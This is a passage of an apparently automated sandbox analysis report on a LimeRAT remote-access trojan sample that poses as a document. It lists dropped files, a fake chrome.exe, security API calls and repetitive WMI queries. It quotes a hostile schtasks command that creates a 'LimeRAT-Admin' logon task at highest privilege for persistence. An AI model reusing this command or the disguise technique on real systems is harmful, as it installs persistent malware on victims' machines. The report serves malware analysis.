                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81066835085.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140.dll^ vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80842539174.0000000005E58000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemsvcp140.dll^ vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000000.78446193953.0000000000D13000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameMultiRead.EXEB vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamesoftokn3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81032367685.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamenss3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamesoftokn3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83515401149.0000000005E58000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140.dll^ vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamefreebl3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemozglue.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80837083048.0000000005E19000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemsvcp140.dll^ vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamesoftokn3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81066992882.0000000005E18000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140.dll^ vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamenss3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81037251638.0000000005E58000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamenss3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81072098650.0000000005E58000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140.dll^ vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81061919496.0000000005E58000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamesoftokn3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81035574767.0000000005E19000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamenss3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamefreebl3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemozglue.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemsvcp140.dll^ vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamenss3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamesoftokn3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140.dll^ vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80756890980.0000000006411000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamefreebl3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80741387008.0000000006411000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamefreebl3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80765987792.0000000005E19000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemozglue.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81056282933.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamesoftokn3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80760169574.0000000005E19000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemozglue.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80768273960.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemozglue.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81037950651.0000000005E59000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamenss3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80844749588.0000000005E58000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemsvcp140.dll^ vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exeBinary or memory string: OriginalFilenameMultiRead.EXEB vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\wtqsCpda..exe.log
                      Source: classification engineClassification label: mal100.troj.expl.evad.winEXE@10/16@1/2
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeFile read: C:\Users\user\Desktop\desktop.ini
                      Source: 15.2.wtqsCpda..exe.540000.0.unpack, ??????/??????????.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
                      Source: 15.2.wtqsCpda..exe.540000.0.unpack, ??????/??????????.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
                      Source: 19.2.chrome.exe.a20000.0.unpack, ??????/??????????.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
                      Source: 19.2.chrome.exe.a20000.0.unpack, ??????/??????????.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
                      Source: 15.0.wtqsCpda..exe.540000.1.unpack, ??????/??????????.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
                      Source: 15.0.wtqsCpda..exe.540000.1.unpack, ??????/??????????.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
                      Source: 18.0.chrome.exe.760000.0.unpack, ??????/??????????.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
                      Source: 18.0.chrome.exe.760000.0.unpack, ??????/??????????.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
                      Source: chrome.exe.15.dr, ??????/??????????.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
                      Source: chrome.exe.15.dr, ??????/??????????.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
                      Source: 19.0.chrome.exe.a20000.2.unpack, ??????/??????????.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
                      Source: 19.0.chrome.exe.a20000.2.unpack, ??????/??????????.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
                      Source: Chrome[1].exe.1.dr, ??????/??????????.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
                      Source: Chrome[1].exe.1.dr, ??????/??????????.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
                      Source: 15.0.wtqsCpda..exe.540000.2.unpack, ??????/??????????.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
                      Source: 15.0.wtqsCpda..exe.540000.2.unpack, ??????/??????????.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
                      Source: 18.2.chrome.exe.760000.0.unpack, ??????/??????????.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
                      Source: 18.2.chrome.exe.760000.0.unpack, ??????/??????????.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
                      Source: 19.0.chrome.exe.a20000.1.unpack, ??????/??????????.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
                      Source: 19.0.chrome.exe.a20000.1.unpack, ??????/??????????.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
                      Source: 15.0.wtqsCpda..exe.540000.0.unpack, ??????/??????????.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
                      Source: 15.0.wtqsCpda..exe.540000.0.unpack, ??????/??????????.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
                      Source: 19.0.chrome.exe.a20000.3.unpack, ??????/??????????.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
                      Source: 19.0.chrome.exe.a20000.3.unpack, ??????/??????????.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
                      Source: 15.0.wtqsCpda..exe.540000.3.unpack, ??????/??????????.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
                      Source: 15.0.wtqsCpda..exe.540000.3.unpack, ??????/??????????.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
                      Source: 19.0.chrome.exe.a20000.0.unpack, ??????/??????????.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
                      Source: 19.0.chrome.exe.a20000.0.unpack, ??????/??????????.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
                      Source: wtqsCpda..exe.1.dr, ??????/??????????.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
                      Source: wtqsCpda..exe.1.dr, ??????/??????????.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeCode function: 1_2_00BD1B39 LoadLibraryExA,LoadLibraryExA,FindResourceA,LoadResource,SizeofResource,FreeLibrary,
                      Source: DocumentoSENAMHI20222103.exeReversingLabs: Detection: 16%
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
                      Source: unknownProcess created: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exe "C:\Users\user\Desktop\DocumentoSENAMHI20222103.exe"
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe
                      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeProcess created: C:\Users\user\AppData\Roaming\wtqsCpda..exe "C:\Users\user\AppData\Roaming\wtqsCpda..exe"
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'C:\Users\user\AppData\Local\Temp\chrome.exe'"
                      Source: C:\Windows\SysWOW64\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\chrome.exe C:\Users\user\AppData\Local\Temp\chrome.exe
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess created: C:\Users\user\AppData\Local\Temp\chrome.exe "C:\Users\user\AppData\Local\Temp\chrome.exe"
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'C:\Users\user\AppData\Local\Temp\chrome.exe'"
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess created: C:\Users\user\AppData\Local\Temp\chrome.exe "C:\Users\user\AppData\Local\Temp\chrome.exe"
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
